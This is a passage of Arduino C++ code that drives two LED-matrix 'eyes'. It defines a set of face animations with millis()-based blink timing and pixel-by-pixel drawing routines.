FaceRunningCheckClearFunction();\n Face017RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face017BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face017 LEDs ON\"); \/\/ Debug output\n DrawFace017();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face017BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n BlinkFunction(\"017\");\n }\n else\n {\n Face017BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face018\nvoid Face018()\n{\n if (Face018RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace018();\n \/\/ Setting FaceRunningCheck variables for smoother changes\n FaceRunningCheckClearFunction();\n Face018RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face018BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face018 LEDs ON\"); \/\/ Debug output\n DrawFace018();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face018BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n BlinkFunction(\"018\");\n }\n else\n {\n Face018BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\nvoid Face019()\n{\n if (Face019RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace019();\n FaceRunningCheckClearFunction();\n Face019RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face019BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face019 LEDs ON\"); \/\/ Debug output\n DrawFace019();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face019BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n BlinkFunction(\"019\");\n }\n else\n {\n Face019BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face020\nvoid Face020()\n{\n if (Face020RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace020();\n FaceRunningCheckClearFunction();\n Face020RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face020BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face020 LEDs ON\"); \/\/ Debug output\n DrawFace020();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face020BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n BlinkFunction(\"020\");\n }\n else\n {\n Face020BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face021\nvoid Face021()\n{\n if (Face021RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace021();\n FaceRunningCheckClearFunction();\n Face021RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face021BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face021 LEDs ON\"); \/\/ Debug output\n DrawFace021();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face021BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n BlinkFunction(\"021\");\n }\n else\n {\n Face021BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face022\nvoid Face022()\n{\n if (Face022RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace022();\n FaceRunningCheckClearFunction();\n Face022RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face022BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face022 LEDs ON\"); \/\/ Debug output\n DrawFace022();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face022BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n BlinkFunction(\"022\");\n }\n else\n {\n Face022BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face023\nvoid Face023()\n{\n if (Face023RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace023();\n FaceRunningCheckClearFunction();\n Face023RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face023BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face023 LEDs ON\"); \/\/ Debug output\n DrawFace023();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face023BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n BlinkFunction(\"023\");\n }\n else\n {\n Face023BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\n\/\/ Umbrella Logo\nvoid Umbrella()\n{\n DrawUmbrella();\n FaceRunningCheckClearFunction();\n}\n\nvoid FaceRunningCheckClearFunction()\n{\n Face001RunningCheck = false; \/\/ Face001\n Face002RunningCheck = false; \/\/ Face002\n Face003RunningCheck = false; \/\/ Face003\n Face004RunningCheck = false; \/\/ Face004\n Face005RunningCheck = false; \/\/ Face005\n Face006RunningCheck = false; \/\/ Face006 \n Face007RunningCheck = false; \/\/ Face007\n Face008RunningCheck = false; \/\/ Face008\n Face009RunningCheck = false; \/\/ Face009\n Face010RunningCheck = false; \/\/ Face010\n Face011RunningCheck = false; \/\/ Face011\n Face012RunningCheck = false; \/\/ Face012\n Face013RunningCheck = false; \/\/ Face013\n Face014RunningCheck = false; \/\/ Face014\n Face015RunningCheck = false; \/\/ Face015\n Face016RunningCheck = false; \/\/ Face016\n Face017RunningCheck = false; \/\/ Face017\n Face018RunningCheck = false; \/\/ Face018\n Face019RunningCheck = false; \/\/ Face019\n Face020RunningCheck = false; \/\/ Face020\n Face021RunningCheck = false; \/\/ Face021\n Face022RunningCheck = false; \/\/ Face022\n Face023RunningCheck = false; \/\/ Face023 \n }\n\nvoid BlinkFunction(String FaceVariable)\n{\n Serial.print(\"Face\");\n Serial.print(FaceVariable);\n Serial.println(\" LEDs OFF - Blink\"); \/\/ Debug output\n lefteye.setBrightness(0);\n righteye.setBrightness(0);\n lefteye.show(); \n righteye.show();\n delay(10);\n lefteye.setBrightness(255);\n righteye.setBrightness(255);\n lefteye.show(); \n righteye.show();\n}\n\nvoid DrawFace001()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(18, color);\n lefteye.setPixelColor(19, color);\n lefteye.setPixelColor(20, color);\n lefteye.setPixelColor(26, color);\n lefteye.setPixelColor(27, color);\n lefteye.setPixelColor(28, color);\n lefteye.setPixelColor(33, color);\n lefteye.setPixelColor(34, color);\n lefteye.setPixelColor(35, color);\n lefteye.setPixelColor(41, color);\n lefteye.setPixelColor(42, color);\n lefteye.setPixelColor(48, color);\n lefteye.setPixelColor(49, color);\n lefteye.setPixelColor(50, color);\n lefteye.setPixelColor(56, color);\n lefteye.setPixelColor(57, color);\n lefteye.setPixelColor(64, color);\n lefteye.setPixelColor(65, color);\n lefteye.setPixelColor(72, color);\n lefteye.setPixelColor(73, color);\n lefteye.setPixelColor(74, color);\n lefteye.setPixelColor(81, color);\n lefteye.setPixelColor(82, color);\n lefteye.setPixelColor(83, color);\n lefteye.setPixelColor(90, color);\n lefteye.setPixelColor(91, color);\n lefteye.setPixelColor(92, color);\n lefteye.setPixelColor(98, color);\n lefteye.setPixelColor(99, color);\n lefteye.setPixelColor(100, color);\n lefteye.setPixelColor(107, color);\n lefteye.setPixelColor(108, color);\n lefteye.setPixelColor(109, color);\n lefteye.setPixelColor(146, color);\n lefteye.setPixelColor(147, color);\n lefteye.setPixelColor(148, color);\n lefteye.setPixelColor(153, color);\n lefteye.setPixelColor(154, color);\n lefteye.setPixelColor(155, color);\n lefteye.setPixelColor(161, color);\n lefteye.setPixelColor(162, color);\n lefteye.setPixelColor(163, color);\n lefteye.setPixelColor(168, color);\n lefteye.setPixelColor(169, color);\n lefteye.setPixelColor(170, color);\n lefteye.setPixelColor(176, color);\n lefteye.setPixelColor(177, color);\n lefteye.setPixelColor(184, color);\n lefteye.setPixelColor(185, color);\n lefteye.setPixelColor(192, color);\n lefteye.setPixelColor(200, color);\n lefteye.setPixelColor(201, color);\n lefteye.setPixelColor(208, color);\n lefteye.setPixelColor(209, color);\n lefteye.setPixelColor(210, color);\n lefteye.setPixelColor(217, color);\n lefteye.setPixelColor(218, color);\n lefteye.setPixelColor(225, color);\n lefteye.setPixelColor(226, color);\n lefteye.setPixelColor(227, color);\n lefteye.setPixelColor(234, color);\n lefteye.setPixelColor(235, color);\n lefteye.setPixelColor(236, color);\n righteye.setPixelColor(19, color);\n righteye.setPixelColor(20, color);\n righteye.setPixelColor(21, color);\n righteye.setPixelColor(27, color);\n righteye.setPixelColor(28, color);\n righteye.setPixelColor(29, color);\n righteye.setPixelColor(36, color);\n righteye.setPixelColor(37, color);\n righteye.setPixelColor(38, color);\n righteye.setPixelColor(45, color);\n righteye.setPixelColor(46, color);\n righteye.setPixelColor(53, color);\n righteye.setPixelColor(54, color);\n righteye.setPixelColor(55, color);\n righteye.setPixelColor(62, color);\n righteye.setPixelColor(63, color);\n righteye.setPixelColor(70, color);\n righteye.setPixelColor(71, color);\n righteye.setPixelColor(77, color);\n righteye.setPixelColor(78, color);\n righteye.setPixelColor(79, color);\n righteye.setPixelColor(84, color);\n righteye.setPixelColor(85, color);\n righteye.setPixelColor(86, color);\n righteye.setPixelColor(91, color);\n righteye.setPixelColor(92, color);\n righteye.setPixelColor(93, color);\n righteye.setPixelColor(99, color);\n righteye.setPixelColor(100, color);\n righteye.setPixelColor(101, color);\n righteye.setPixelColor(106, color);\n righteye.setPixelColor(107, color);\n righteye.setPixelColor(108, color);\n righteye.setPixelColor(147, color);\n righteye.setPixelColor(148, color);\n righteye.setPixelColor(149, color);\n righteye.setPixelColor(156, color);\n righteye.setPixelColor(157, color);\n righteye.setPixelColor(158, color);\n righteye.setPixelColor(164, color);\n righteye.setPixelColor(165, color);\n righteye.setPixelColor(166, color);\n righteye.setPixelColor(173, color);\n righteye.setPixelColor(174, color);\n righteye.setPixelColor(175, color);\n righteye.setPixelColor(182, color);\n righteye.setPixelColor(183, color);\n righteye.setPixelColor(190, color);\n righteye.setPixelColor(191, color);\n righteye.setPixelColor(199, color);\n righteye.setPixelColor(206, color);\n righteye.setPixelColor(207, color);\n righteye.setPixelColor(213, color);\n righteye.setPixelColor(214, color);\n righteye.setPixelColor(215, color);\n righteye.setPixelColor(221, color);\n righteye.setPixelColor(222, color);\n righteye.setPixelColor(228, color);\n righteye.setPixelColor(229, color);\n righteye.setPixelColor(230, color);\n righteye.setPixelColor(235, color);\n righteye.setPixelColor(236, color);\n righteye.setPixelColor(237, color);\n righteye.show();\n lefteye.show();\n}\n\nvoid DrawFace002()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(32, color);\n lefteye.setPixelColor(40, color);\n lefteye.setPixelColor(41, color);\n lefteye.setPixelColor(42, color);\n lefteye.setPixelColor(49, color);\n lefteye.setPixelColor(50, color);\n lefteye.setPixelColor(51, color);\n lefteye.setPixelColor(52, color);\n lefteye.setPixelColor(53, color);\n lefteye.setPixelColor(59, color);\n lefteye.setPixelColor(60, color);\n lefteye.setPixelColor(61, color);\n lefteye.setPixelColor(62, color);\n lefteye.setPixelColor(68, color);\n lefteye.setPixelColor(69, color);\n lefteye.setPixelColor(70, color);\n lefteye.setPixelColor(73, color);\n lefteye.setPixelColor(74, color);\n lefteye.setPixelColor(75, color);\n lefteye.setPixelColor(76, color);\n lefteye.setPixelColor(77, color);\n lefteye.setPixelColor(80, color);\n lefteye.setPixelColor(81, color);\n lefteye.setPixelColor(82, color);\n lefteye.setPixelColor(83, color);\n lefteye.setPixelColor(88, color);\n lefteye.setPixelColor(89, color);\n lefteye.setPixelColor(147, color);\n lefteye.setPixelColor(153, color);\n lefteye.setPixelColor(154, color);\n lefteye.setPixelColor(155, color);\n lefteye.setPixelColor(160, color);\n lefteye.setPixelColor(161, color);\n lefteye.setPixelColor(162, color);\n lefteye.setPixelColor(168, color);\n lefteye.setPixelColor(208, color);\n lefteye.setPixelColor(209, color);\n lefteye.setPixelColor(216, color);\n lefteye.setPixelColor(217, color);\n lefteye.setPixelColor(218, color);\n lefteye.setPixelColor(219, color);\n lefteye.setPixelColor(225, color);\n lefteye.setPixelColor(226, color);\n lefteye.setPixelColor(227, color);\n lefteye.setPixelColor(235, color);\n righteye.setPixelColor(39, color);\n righteye.setPixelColor(45, color);\n righteye.setPixelColor(46, color);\n righteye.setPixelColor(47, color);\n righteye.setPixelColor(50, color);\n righteye.setPixelColor(51, color);\n righteye.setPixelColor(52, color);\n righteye.setPixelColor(53, color);\n righteye.setPixelColor(54, color);\n righteye.setPixelColor(57, color);\n righteye.setPixelColor(58, color);\n righteye.setPixelColor(59, color);\n righteye.setPixelColor(60, color);\n righteye.setPixelColor(65, color);\n righteye.setPixelColor(66, color);\n righteye.setPixelColor(67, color);\n righteye.setPixelColor(74, color);\n righteye.setPixelColor(75, color);\n righteye.setPixelColor(76, color);\n righteye.setPixelColor(77, color);\n righteye.setPixelColor(78, color);\n righteye.setPixelColor(85, color);\n righteye.setPixelColor(86, color);\n righteye.setPixelColor(87, color);\n righteye.setPixelColor(94, color);\n righteye.setPixelColor(95, color);\n righteye.setPixelColor(148, color);\n righteye.setPixelColor(156, color);\n righteye.setPixelColor(157, color);\n righteye.setPixelColor(158, color);\n righteye.setPixelColor(165, color);\n righteye.setPixelColor(166, color);\n righteye.setPixelColor(167, color);\n righteye.setPixelColor(175, color);\n righteye.setPixelColor(214, color);\n righteye.setPixelColor(215, color);\n righteye.setPixelColor(220, color);\n righteye.setPixelColor(221, color);\n righteye.setPixelColor(222, color);\n righteye.setPixelColor(223, color);\n righteye.setPixelColor(228, color);\n righteye.setPixelColor(229, color);\n righteye.setPixelColor(230, color);\n righteye.setPixelColor(236, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace003()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(8, color);\n lefteye.setPixelColor(16, color);\n lefteye.setPixelColor(24, color);\n lefteye.setPixelColor(25, color);\n lefteye.setPixelColor(32, color);\n lefteye.setPixelColor(33, color);\n lefteye.setPixelColor(40, color);\n lefteye.setPixelColor(41, color);\n lefteye.setPixelColor(42, color);\n lefteye.setPixelColor(49, color);\n lefteye.setPixelColor(50, color);\n lefteye.setPixelColor(57, color);\n lefteye.setPixelColor(58, color);\n lefteye.setPixelColor(59, color);\n lefteye.setPixelColor(66, color);\n lefteye.setPixelColor(67, color);\n lefteye.setPixelColor(187, color);\n lefteye.setPixelColor(188, color);\n lefteye.setPixelColor(194, color);\n lefteye.setPixelColor(195, color);\n lefteye.setPixelColor(196, color);\n lefteye.setPixelColor(202, color);\n lefteye.setPixelColor(203, color);\n lefteye.setPixelColor(209, color);\n lefteye.setPixelColor(210, color);\n lefteye.setPixelColor(211, color);\n lefteye.setPixelColor(217, color);\n lefteye.setPixelColor(218, color);\n lefteye.setPixelColor(224, color);\n lefteye.setPixelColor(225, color);\n lefteye.setPixelColor(226, color);\n lefteye.setPixelColor(232, color);\n lefteye.setPixelColor(233, color);\n lefteye.setPixelColor(240, color);\n lefteye.setPixelColor(241, color);\n righteye.setPixelColor(15, color);\n righteye.setPixelColor(23, color);\n righteye.setPixelColor(30, color);\n righteye.setPixelColor(31, color);\n righteye.setPixelColor(38, color);\n righteye.setPixelColor(39, color);\n righteye.setPixelColor(45, color);\n righteye.setPixelColor(46, color);\n righteye.setPixelColor(47, color);\n righteye.setPixelColor(53, color);\n righteye.setPixelColor(54, color);\n righteye.setPixelColor(60, color);\n righteye.setPixelColor(61, color);\n righteye.setPixelColor(62, color);\n righteye.setPixelColor(68, color);\n righteye.setPixelColor(69, color);\n righteye.setPixelColor(187, color);\n righteye.setPixelColor(188, color);\n righteye.setPixelColor(195, color);\n righteye.setPixelColor(196, color);\n righteye.setPixelColor(197, color);\n righteye.setPixelColor(204, color);\n righteye.setPixelColor(205, color);\n righteye.setPixelColor(212, color);\n righteye.setPixelColor(213, color);\n righteye.setPixelColor(214, color);\n righteye.setPixelColor(221, color);\n righteye.setPixelColor(222, color);\n righteye.setPixelColor(229, color);\n righteye.setPixelColor(230, color);\n righteye.setPixelColor(231, color);\n righteye.setPixelColor(238, color);\n righteye.setPixelColor(239, color);\n righteye.setPixelColor(246, color);\n righteye.setPixelColor(247, color);\n righteye.show();\n lefteye.show();\n}\n\nvoid DrawFace004()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(16, color);\n lefteye.setPixelColor(17, color);\n lefteye.setPixelColor(18, color);\n lefteye.setPixelColor(26, color);\n lefteye.setPixelColor(27, color);\n lefteye.setPixelColor(35, color);\n lefteye.setPixelColor(36, color);\n lefteye.setPixelColor(40, color);\n lefteye.setPixelColor(41, color);\n lefteye.setPixelColor(44, color);\n lefteye.setPixelColor(45, color);\n lefteye.setPixelColor(49, color);\n lefteye.setPixelColor(59, color);\n lefteye.setPixelColor(52, color);\n lefteye.setPixelColor(53, color);\n lefteye.setPixelColor(57, color);\n lefteye.setPixelColor(58, color);\n lefteye.setPixelColor(60, color);\n lefteye.setPixelColor(61, color);\n lefteye.setPixelColor(66, color);\n lefteye.setPixelColor(68, color);\n lefteye.setPixelColor(69, color);\n lefteye.setPixelColor(74, color);\n lefteye.setPixelColor(76, color);\n lefteye.setPixelColor(77, color);\n lefteye.setPixelColor(80, color);\n lefteye.setPixelColor(81, color);\n lefteye.setPixelColor(82, color);\n lefteye.setPixelColor(84, color);\n lefteye.setPixelColor(85, color);\n lefteye.setPixelColor(88, color);\n lefteye.setPixelColor(89, color);\n lefteye.setPixelColor(91, color);\n lefteye.setPixelColor(92, color);\n lefteye.setPixelColor(98, color);\n lefteye.setPixelColor(99, color);\n lefteye.setPixelColor(104, color);\n lefteye.setPixelColor(105, color);\n lefteye.setPixelColor(106, color);\n lefteye.setPixelColor(144, color);\n lefteye.setPixelColor(145, color);\n lefteye.setPixelColor(146, color);\n lefteye.setPixelColor(147, color);\n lefteye.setPixelColor(156, color);\n lefteye.setPixelColor(162, color);\n lefteye.setPixelColor(168, color);\n lefteye.setPixelColor(169, color);\n lefteye.setPixelColor(170, color);\n lefteye.setPixelColor(171, color);\n lefteye.setPixelColor(172, color);\n lefteye.setPixelColor(177, color);\n lefteye.setPixelColor(178, color);\n lefteye.setPixelColor(180, color);\n lefteye.setPixelColor(181, color);\n lefteye.setPixelColor(186, color);\n lefteye.setPixelColor(189, color);\n lefteye.setPixelColor(194, color);\n lefteye.setPixelColor(197, color);\n lefteye.setPixelColor(202, color);\n lefteye.setPixelColor(203, color);\n lefteye.setPixelColor(205, color);\n lefteye.setPixelColor(208, color);\n lefteye.setPixelColor(209, color);\n lefteye.setPixelColor(211, color);\n lefteye.setPixelColor(213, color);\n lefteye.setPixelColor(216, color);\n lefteye.setPixelColor(221, color);\n lefteye.setPixelColor(228, color);\n lefteye.setPixelColor(232, color);\n lefteye.setPixelColor(233, color);\n lefteye.setPixelColor(234, color);\n lefteye.setPixelColor(235, color);\n lefteye.setPixelColor(240, color);\n lefteye.setPixelColor(241, color);\n righteye.setPixelColor(14, color);\n righteye.setPixelColor(15, color);\n righteye.setPixelColor(20, color);\n righteye.setPixelColor(21, color);\n righteye.setPixelColor(22, color);\n righteye.setPixelColor(23, color);\n righteye.setPixelColor(27, color);\n righteye.setPixelColor(34, color);\n righteye.setPixelColor(39, color);\n righteye.setPixelColor(42, color);\n righteye.setPixelColor(44, color);\n righteye.setPixelColor(46, color);\n righteye.setPixelColor(47, color);\n righteye.setPixelColor(50, color);\n righteye.setPixelColor(52, color);\n righteye.setPixelColor(53, color);\n righteye.setPixelColor(58, color);\n righteye.setPixelColor(61, color);\n righteye.setPixelColor(66, color);\n righteye.setPixelColor(69, color);\n righteye.setPixelColor(74, color);\n righteye.setPixelColor(75, color);\n righteye.setPixelColor(77, color);\n righteye.setPixelColor(78, color);\n righteye.setPixelColor(83, color);\n righteye.setPixelColor(84, color);\n righteye.setPixelColor(85, color);\n righteye.setPixelColor(86, color);\n righteye.setPixelColor(87, color);\n righteye.setPixelColor(93, color);\n righteye.setPixelColor(99, color);\n righteye.setPixelColor(108, color);\n righteye.setPixelColor(109, color);\n righteye.setPixelColor(110, color);\n righteye.setPixelColor(111, color);\n righteye.setPixelColor(149, color);\n righteye.setPixelColor(150, color);\n righteye.setPixelColor(156, color);\n righteye.setPixelColor(157, color);\n righteye.setPixelColor(163, color);\n righteye.setPixelColor(164, color);\n righteye.setPixelColor(166, color);\n righteye.setPixelColor(167, color);\n righteye.setPixelColor(170, color);\n righteye.setPixelColor(171, color);\n righteye.setPixelColor(173, color);\n righteye.setPixelColor(174, color);\n righteye.setPixelColor(175, color);\n righteye.setPixelColor(178, color);\n righteye.setPixelColor(179, color);\n righteye.setPixelColor(181, color);\n righteye.setPixelColor(186, color);\n righteye.setPixelColor(187, color);\n righteye.setPixelColor(189, color);\n righteye.setPixelColor(194, color);\n righteye.setPixelColor(195, color);\n righteye.setPixelColor(197, color);\n righteye.setPixelColor(198, color);\n righteye.setPixelColor(202, color);\n righteye.setPixelColor(203, color);\n righteye.setPixelColor(205, color);\n righteye.setPixelColor(206, color);\n righteye.setPixelColor(210, color);\n righteye.setPixelColor(211, color);\n righteye.setPixelColor(214, color);\n righteye.setPixelColor(215, color);\n righteye.setPixelColor(219, color);\n righteye.setPixelColor(220, color);\n righteye.setPixelColor(228, color);\n righteye.setPixelColor(229, color);\n righteye.setPixelColor(237, color);\n righteye.setPixelColor(238, color);\n righteye.setPixelColor(239, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace005()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(12, color);\n lefteye.setPixelColor(13, color);\n lefteye.setPixelColor(19, color);\n lefteye.setPixelColor(20, color);\n lefteye.setPixelColor(21, color);\n lefteye.setPixelColor(26, color);\n lefteye.setPixelColor(27, color);\n lefteye.setPixelColor(28, color);\n lefteye.setPixelColor(33, color);\n lefteye.setPixelColor(34, color);\n lefteye.setPixelColor(35, color);\n lefteye.setPixelColor(41, color);\n lefteye.setPixelColor(42, color);\n lefteye.setPixelColor(48, color);\n lefteye.setPixelColor(49, color);\n lefteye.setPixelColor(50, color);\n lefteye.setPixelColor(56, color);\n lefteye.setPixelColor(57, color);\n lefteye.setPixelColor(64, color);\n lefteye.setPixelColor(72, color);\n lefteye.setPixelColor(139, color);\n lefteye.setPixelColor(140, color);\n lefteye.setPixelColor(141, color);\n lefteye.setPixelColor(146, color);\n lefteye.setPixelColor(147, color);\n lefteye.setPixelColor(148, color);\n lefteye.setPixelColor(154, color);\n lefteye.setPixelColor(155, color);\n lefteye.setPixelColor(161, color);\n lefteye.setPixelColor(162, color);\n lefteye.setPixelColor(163, color);\n lefteye.setPixelColor(168, color);\n lefteye.setPixelColor(169, color);\n lefteye.setPixelColor(170, color);\n lefteye.setPixelColor(176, color);\n lefteye.setPixelColor(177, color);\n lefteye.setPixelColor(184, color);\n lefteye.setPixelColor(192, color);\n righteye.setPixelColor(10, color);\n righteye.setPixelColor(11, color);\n righteye.setPixelColor(18, color);\n righteye.setPixelColor(19, color);\n righteye.setPixelColor(20, color);\n righteye.setPixelColor(27, color);\n righteye.setPixelColor(28, color);\n righteye.setPixelColor(29, color);\n righteye.setPixelColor(36, color);\n righteye.setPixelColor(37, color);\n righteye.setPixelColor(38, color);\n righteye.setPixelColor(45, color);\n righteye.setPixelColor(46, color);\n righteye.setPixelColor(53, color);\n righteye.setPixelColor(54, color);\n righteye.setPixelColor(55, color);\n righteye.setPixelColor(62, color);\n righteye.setPixelColor(63, color);\n righteye.setPixelColor(71, color);\n righteye.setPixelColor(79, color);\n righteye.setPixelColor(138, color);\n righteye.setPixelColor(139, color);\n righteye.setPixelColor(140, color);\n righteye.setPixelColor(147, color);\n righteye.setPixelColor(148, color);\n righteye.setPixelColor(149, color);\n righteye.setPixelColor(156, color);\n righteye.setPixelColor(157, color);\n righteye.setPixelColor(164, color);\n righteye.setPixelColor(165, color);\n righteye.setPixelColor(166, color);\n righteye.setPixelColor(173, color);\n righteye.setPixelColor(174, color);\n righteye.setPixelColor(175, color);\n righteye.setPixelColor(182, color);\n righteye.setPixelColor(183, color);\n righteye.setPixelColor(191, color);\n righteye.setPixelColor(199, color);\n righteye.show();\n lefteye.show();\n}\n\nvoid DrawFace006()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(0, color);\n lefteye.setPixelColor(1, color);\n lefteye.setPixelColor(8, color);\n lefteye.setPixelColor(9, color);\n lefteye.setPixelColor(10, color);\n lefteye.setPixelColor(17, color);\n lefteye.setPixelColor(18, color);\n lefteye.setPixelColor(19, color);\n lefteye.setPixelColor(26, color);\n lefteye.setPixelColor(27, color);\n lefteye.setPixelColor(34, color);\n lefteye.setPixelColor(35, color);\n lefteye.setPixelColor(72, color);\n lefteye.setPixelColor(80, color);\n lefteye.setPixelColor(88, color);\n lefteye.setPixelColor(104, color);\n lefteye.setPixelColor(112, color);\n lefteye.setPixelColor(120, color);\n lefteye.setPixelColor(128, color);\n lefteye.setPixelColor(129, color);\n lefteye.setPixelColor(136, color);\n lefteye.setPixelColor(137, color);\n lefteye.setPixelColor(144, color);\n lefteye.setPixelColor(145, color);\n lefteye.setPixelColor(160, color);\n lefteye.setPixelColor(168, color);\n lefteye.setPixelColor(169, color);\n lefteye.setPixelColor(176, color);\n lefteye.setPixelColor(177, color);\n lefteye.setPixelColor(184, color);\n lefteye.setPixelColor(185, color);\n lefteye.setPixelColor(186, color);\n lefteye.setPixelColor(192, color);\n lefteye.setPixelColor(193, color);\n lefteye.setPixelColor(194, color);\n lefteye.setPixelColor(195, color);\n lefteye.setPixelColor(202, color);\n lefteye.setPixelColor(203, color);\n 